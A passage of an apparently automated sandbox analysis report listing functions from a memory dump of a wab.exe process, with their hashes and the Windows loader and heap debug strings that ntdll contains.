Instruction Fuzzy Hash: 0751AF7260C7159BC325DF198882BABB7FCFF94280F154AADAE95C7241E770D604CB92

Uniqueness

Uniqueness Score: -1.00%

Function 23C589B3 Relevance: 9.0, Strings: 7, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

VerifierDlls, xrefs: 23C58CBD
VerifierFlags, xrefs: 23C58C50
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 23C58A3D
HandleTraces, xrefs: 23C58C8F
AVRF: -*- final list of providers -*- , xrefs: 23C58B8F
VerifierDebug, xrefs: 23C58CA5
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 23C58A67

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: 0555681ac36ec18be3132a1d8082064cb53e6773fa20dd9a25709e03f8f65451
Instruction ID: 09be0f58082ee2c14c2295a3b3db2a88f3889f85fce9c5b86dbd3f24e9fd32a1
Opcode Fuzzy Hash: 0555681ac36ec18be3132a1d8082064cb53e6773fa20dd9a25709e03f8f65451
Instruction Fuzzy Hash: 2691E2B2709755EFD321EF698880F1A77E8ABA4610F4509E8F950FF281DB34AD01C799

Uniqueness

Uniqueness Score: -1.00%

Function 23BDEA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON

Download Yara Rule

Strings

T, xrefs: 23BDEB4E
LdrpResSearchResourceInsideDirectory Exit, xrefs: 23BDEB6C
, xrefs: 23BDF299
R, xrefs: 23BDEB62
LdrpResSearchResourceInsideDirectory Enter, xrefs: 23BDEB58
{, xrefs: 23C34643

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
API String ID: 0-1109411897
Opcode ID: 7f5feb21d65bd5300d94515a94801452f5bbbd10f0d6c7a0af51becff691b277
Instruction ID: 1e407e404689fa794070b129a742c276f611ff58abf485d71618a9f08f0582f5
Opcode Fuzzy Hash: 7f5feb21d65bd5300d94515a94801452f5bbbd10f0d6c7a0af51becff691b277
Instruction Fuzzy Hash: 6BA23775A0966A8FDB64DF18CC88B99B7B5EF49704F1442E9D90CE72A0DB349E81CF04

Uniqueness

Uniqueness Score: -1.00%

Function 23C7F525 Relevance: 7.7, Strings: 6, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 23C7F7BE
RtlAllocateHeap, xrefs: 23C7F56D
HEAP[%wZ]: , xrefs: 23C7F6E7, 23C7F794, 23C7F7EB
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 23C7F809
HEAP: , xrefs: 23C7F6F4, 23C7F7A1, 23C7F7F8
Just allocated block at %p for %Ix bytes, xrefs: 23C7F708

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 0-1745908468
Opcode ID: 4179cd4f85c68eb56b2e59ab0a73469b149dbc23f9801b1107458c1b5dc1b421
Instruction ID: 486a618337177600685e708d4f077cf438c7d48d883f265540d3ad91c84cc299
Opcode Fuzzy Hash: 4179cd4f85c68eb56b2e59ab0a73469b149dbc23f9801b1107458c1b5dc1b421
Instruction Fuzzy Hash: 8B91D132900784DFDB22DF68C480A9DBBF9FF59714F1884EAE855EB262CB359941CB14

Uniqueness

Uniqueness Score: -1.00%

Function 23BC645D Relevance: 7.6, Strings: 6, Instructions: 150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LdrpInitShimEngine, xrefs: 23C299F4, 23C29A07, 23C29A30
Getting the shim engine exports failed with status 0x%08lx, xrefs: 23C29A01
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 23C299ED
minkernel\ntdll\ldrinit.c, xrefs: 23C29A11, 23C29A3A
apphelp.dll, xrefs: 23BC6496
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 23C29A2A

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-204845295
Opcode ID: 696a43cfb0a25aa47bf26bcb4bf01d3c166ad65f8e46d789bd649f28374d7323
Instruction ID: d870e0d77a1f9112d95a6161abf82384231f62e6e5ff9c3534120dc0133e9e1e
Opcode Fuzzy Hash: 696a43cfb0a25aa47bf26bcb4bf01d3c166ad65f8e46d789bd649f28374d7323
Instruction Fuzzy Hash: A551EF71608744DFD324DF24C884F9B7BF8EB98644F0509AAF995DB2A1DA30D904CB96

Uniqueness

Uniqueness Score: -1.00%

Function 23BE9950 Relevance: 6.7, Strings: 5, Instructions: 462COMMON

Download Yara Rule

Strings

Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 23C376A3
, xrefs: 23BE99F9
minkernel\ntdll\sxsisol.cpp, xrefs: 23C376AD
Internal error check failed, xrefs: 23C376B2
, xrefs: 23BE99F1

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 0-3393094623
Opcode ID: 193cb0ddb31949c296e09dfa18bb979be1b8c2763fac7cece4c6526764222eb0
Instruction ID: 3166bb4f177aa0d8a43bc6e517b1c081a7ec5fcc25ab30032a40034b8c9990dc
Opcode Fuzzy Hash: 193cb0ddb31949c296e09dfa18bb979be1b8c2763fac7cece4c6526764222eb0
Instruction Fuzzy Hash: 17025C719083918FC720DF68C080B5BB7F5AF89740F8489AEE998CB251D778D948CB96

Uniqueness

Uniqueness Score: -1.00%

Function 23C1096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON

Download Yara Rule

APIs

Part of subcall function 23C12DF0: LdrInitializeThunk.NTDLL ref: 23C12DFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 23C10BA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 23C10BB6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 23C10D60
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 23C10D74

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID:
API String ID: 1404860816-0
Opcode ID: 35022cd3c9e70e60cab7528ca5aea5fc74496360e83ecd74df53094262a8e952
Instruction ID: c68fb8e58ef05f12d67591285f71cf3f143ad52413a7ea6c2dcc0b3d681ea3b5
Opcode Fuzzy Hash: 35022cd3c9e70e60cab7528ca5aea5fc74496360e83ecd74df53094262a8e952
Instruction Fuzzy Hash: 13424975900715DFDB24CF28C880B9AB7F5BF08310F1485EAE989EB241DB70AA94DF61

Uniqueness

Uniqueness Score: -1.00%

Function 23BFDB00 Relevance: 6.4, Strings: 5, Instructions: 133COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C3F63A
, passed to %s, xrefs: 23C3F662
HEAP: , xrefs: 23C3F647
Invalid heap signature for heap at %p, xrefs: 23C3F653
RtlUnlockHeap, xrefs: 23C3F65D

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 0-3224558752
Opcode ID: 6f0edcb75a64d8157da617015a74d7167e9c65c10971d5b950c13337c387462a
Instruction ID: a666b4ee8c38e4c715b241cd581a8be46fe8a00960417471a19023475fbbb67f
Opcode Fuzzy Hash: 6f0edcb75a64d8157da617015a74d7167e9c65c10971d5b950c13337c387462a
Instruction Fuzzy Hash: 0D413531604780DFC312EF24C494B5AB7F8EF46324F1489FAE501DB692C778A984CB91

Uniqueness

Uniqueness Score: -1.00%

Function 23BFD9D0 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C3F3AD, 23C3F438, 23C3F486
Inspecting leaks at process shutdown ..., xrefs: 23C3F3C1
HEAP: , xrefs: 23C3F38D, 23C3F3BA, 23C3F445, 23C3F493
%ld leaks detected., xrefs: 23C3F452
No leaks detected., xrefs: 23C3F49A

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: %ld leaks detected.$HEAP: $HEAP[%wZ]: $Inspecting leaks at process shutdown ...$No leaks detected.
API String ID: 0-1155200129
Opcode ID: 8c6938fda9de5bf660ed4fb12d928f11deff804458fcd26f3bc3ff79b70d7207
Instruction ID: d0dd60a698fa1d073dff79f6ad6131532a97350fd83add195c2c030b94db8378
Opcode Fuzzy Hash: 8c6938fda9de5bf660ed4fb12d928f11deff804458fcd26f3bc3ff79b70d7207
Instruction Fuzzy Hash: 0831B431515B80DFC232FF28D588F15B3F8EB59A20F158CFAE9019B662C6789D80CB14

Uniqueness

Uniqueness Score: -1.00%

Function 23BFDBA0 Relevance: 6.3, Strings: 5, Instructions: 84COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C3F780
, passed to %s, xrefs: 23C3F7A8
HEAP: , xrefs: 23C3F78D
Invalid heap signature for heap at %p, xrefs: 23C3F799
RtlLockHeap, xrefs: 23C3F7A3

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 0-1222099010
Opcode ID: 2a3393756c99bd282ecc14fe134f72abd5307ef9d43d85565f82b6972d1578af
Instruction ID: bd13f205e894459ae139dc6bfd512b3f23e803c5f5f2420893dd73fc47f538fc
Opcode Fuzzy Hash: 2a3393756c99bd282ecc14fe134f72abd5307ef9d43d85565f82b6972d1578af
Instruction Fuzzy Hash: FC310331108BC4DFD322EF28C449F4AB7E8EB12750F0848EAF451DBA56C7B8A984C651

Uniqueness

Uniqueness Score: -1.00%

Function 23C08402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 23C0855E
LdrpInitializeProcess, xrefs: 23C08422
minkernel\ntdll\ldrinit.c, xrefs: 23C08421
@, xrefs: 23C08591

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: a93a9cddc3f12d769f87aa22d623e054a8587dc85e34d37d8b277e43009c0156
Instruction ID: 73a7520641cd7f7b97fe4cb73878b154cdb8a58afb2bc7ac8ad211c2a2f66fba
Opcode Fuzzy Hash: a93a9cddc3f12d769f87aa22d623e054a8587dc85e34d37d8b277e43009c0156
Instruction Fuzzy Hash: A691AD71508384AFE721EF65CC80FABB6ECAF88244F4449AEF684D6141E734DA44DB62

Uniqueness

Uniqueness Score: -1.00%

Function 23C04AD0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 23C43437
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 23C43456
SXS: %s() called with invalid flags 0x%08lx, xrefs: 23C4342A
RtlDeactivateActivationContext, xrefs: 23C43425, 23C43432, 23C43451

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 0-1245972979
Opcode ID: 293b9526e666640cbb971b60d7f45341dfe5ba48a3c20f864b594a9e3f9e45b2
Instruction ID: 855e64d733c533fd7b20e542120a1afe04388377f4a6946b4a65fedc9f831416
Opcode Fuzzy Hash: 293b9526e666640cbb971b60d7f45341dfe5ba48a3c20f864b594a9e3f9e45b2
Instruction Fuzzy Hash: 0A612432B00B519FC312DF19D881F6AB7A5EF80750F1985E9EA64DF281CB34E910CB99

Uniqueness

Uniqueness Score: -1.00%

Function 23BD64AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 23C310AE
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 23C3106B
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 23C31028
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 23C30FE5

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 019a5572ecf75d2af004f70317508483d8aec808ca258c200b823f9a0b06858e
Instruction ID: 2bac1c5631b628aa54760cd0519ef2a1fd2bbc0cb80bde9e7a37eaa5f85f0f38
Opcode Fuzzy Hash: 019a5572ecf75d2af004f70317508483d8aec808ca258c200b823f9a0b06858e
Instruction Fuzzy Hash: EC71AEB29043489FC720DF24C884F8B7BA9EF99764F4404A9F949CB256D734D688DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 23BF245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 23C3A992
minkernel\ntdll\ldrinit.c, xrefs: 23C3A9A2
apphelp.dll, xrefs: 23BF2462
LdrpDynamicShimModule, xrefs: 23C3A998

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 3710e2986346d5c37738d4fe4467f7b6e1b300da782a238186278dfdffe2da56
Instruction ID: 5fc3277cb1d328f1c66e51d08df7ea782ea4991308d768e7afc3ed40347c98f5
Opcode Fuzzy Hash: 3710e2986346d5c37738d4fe4467f7b6e1b300da782a238186278dfdffe2da56
Instruction Fuzzy Hash: B2312676A00341AFC720FF588988E9A77B8FB95704F1A04E9F910EB251C7789D51CB80

Uniqueness

Uniqueness Score: -1.00%

Function 23BE29A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23BE3255
Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 23BE327D
HEAP: , xrefs: 23BE3264

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
API String ID: 0-617086771
Opcode ID: e12f86b04d875b52ab75b472e368dcbfceaa9ad125c68e768dfdba9f05fbcd01
Instruction ID: e42298cc59d3751eb282ab5fb507ef4a10034de5d208f87118b28768ba6d9c15
Opcode Fuzzy Hash: e12f86b04d875b52ab75b472e368dcbfceaa9ad125c68e768dfdba9f05fbcd01
Instruction Fuzzy Hash: E7929B71E042889FDB15DF68C440BAEBBF1EF48300F5884A9E99DAB362D735A945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 23C794E0 Relevance: 4.3, Strings: 3, Instructions: 558COMMON

Download Yara Rule

Strings

, xrefs: 23C79B84
, xrefs: 23C79AD7
0, xrefs: 23C79BF6

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: $ $0
API String ID: 0-3352262554
Opcode ID: 0bad73f1c37d36ffbc57fdbad2a438c23e24b285a849abb5b94683b5e0fbd557
Instruction ID: 5f9dbb0de0738091b716b482292a5a4e926491bc4eda1322b8334a58bf03a1c6
Opcode Fuzzy Hash: 0bad73f1c37d36ffbc57fdbad2a438c23e24b285a849abb5b94683b5e0fbd557
Instruction Fuzzy Hash: 9D3223B16083818FD324CF68C484B5BBBF9BB88344F04496DF999CB290D7B5D948CB56

Uniqueness

Uniqueness Score: -1.00%

Function 23C63A78 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

PE, xrefs: 23C63C42
LdrpResSearchResourceHandle Enter, xrefs: 23C63AD6
LdrpResSearchResourceHandle Exit, xrefs: 23C63AF1

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: e7bc71192599cee827a31d882c64f5f23064df88650246923118cbc8e7a1b577
Instruction ID: 293c0f2521abe4534dbe2cfa05190c893c4b03e83305f86ea9eb18e532f3ac0d
Opcode Fuzzy Hash: e7bc71192599cee827a31d882c64f5f23064df88650246923118cbc8e7a1b577
Instruction Fuzzy Hash: 97F172B5A002288BCB21DF15CCC0B99B3B5EF84700F4581E9E619EB291EB35DE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 23BD1460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 23BD1728
HEAP[%wZ]: , xrefs: 23BD1712
HEAP: , xrefs: 23BD1596

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 378310463df871b1a18af19da46949674cb7b88ee21fc4d57f8c7846b3654607
Instruction ID: 120278b9d0eb13607ddd29a57ae821f8b05257f9f40bec5c6f8025fa5db401b6
Opcode Fuzzy Hash: 378310463df871b1a18af19da46949674cb7b88ee21fc4d57f8c7846b3654607
Instruction Fuzzy Hash: A7E1F071A047899FC755CF28C490B7ABBF5EF48304F1888A9E596CB256D734E942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 23BDBAA0 Relevance: 4.1, Strings: 3, Instructions: 361COMMON

Download Yara Rule

Strings

{, xrefs: 23C33ABD
'LDR: %s(), invalid image format of MUI file , xrefs: 23C33AB4
LdrpLoadResourceFromAlternativeModule, xrefs: 23C33AAF

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: 'LDR: %s(), invalid image format of MUI file $LdrpLoadResourceFromAlternativeModule${
API String ID: 0-1697150599
Opcode ID: 833fa30f3146b5b6192d5fcc1558efe3be261825cb246374b3aa5523c4a0ca9e
Instruction ID: 18f5b792e29a326160c10acea040f87bfdd12c5fd5ea115dac9b0c95d4920a29
Opcode Fuzzy Hash: 833fa30f3146b5b6192d5fcc1558efe3be261825cb246374b3aa5523c4a0ca9e
Instruction Fuzzy Hash: EFE196326083898BD718DF14C580B6AB7E5FF88744F0889BDF9858B3A4D774DA45CB86

Uniqueness

Uniqueness Score: -1.00%

Function 23BCF910 Relevance: 4.0, Strings: 3, Instructions: 263COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C2E701
(HeapHandle != NULL), xrefs: 23C2E719
HEAP: , xrefs: 23C2E70E

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-3610490719
Opcode ID: a61b9a4078d632f62cf37a9077570a792b0f887135104b48183fd7aeca11a484
Instruction ID: 5dd6cf318ae7b7b8286138563c7dc80679debffc8246ea3cfe5372e3a4a07abe
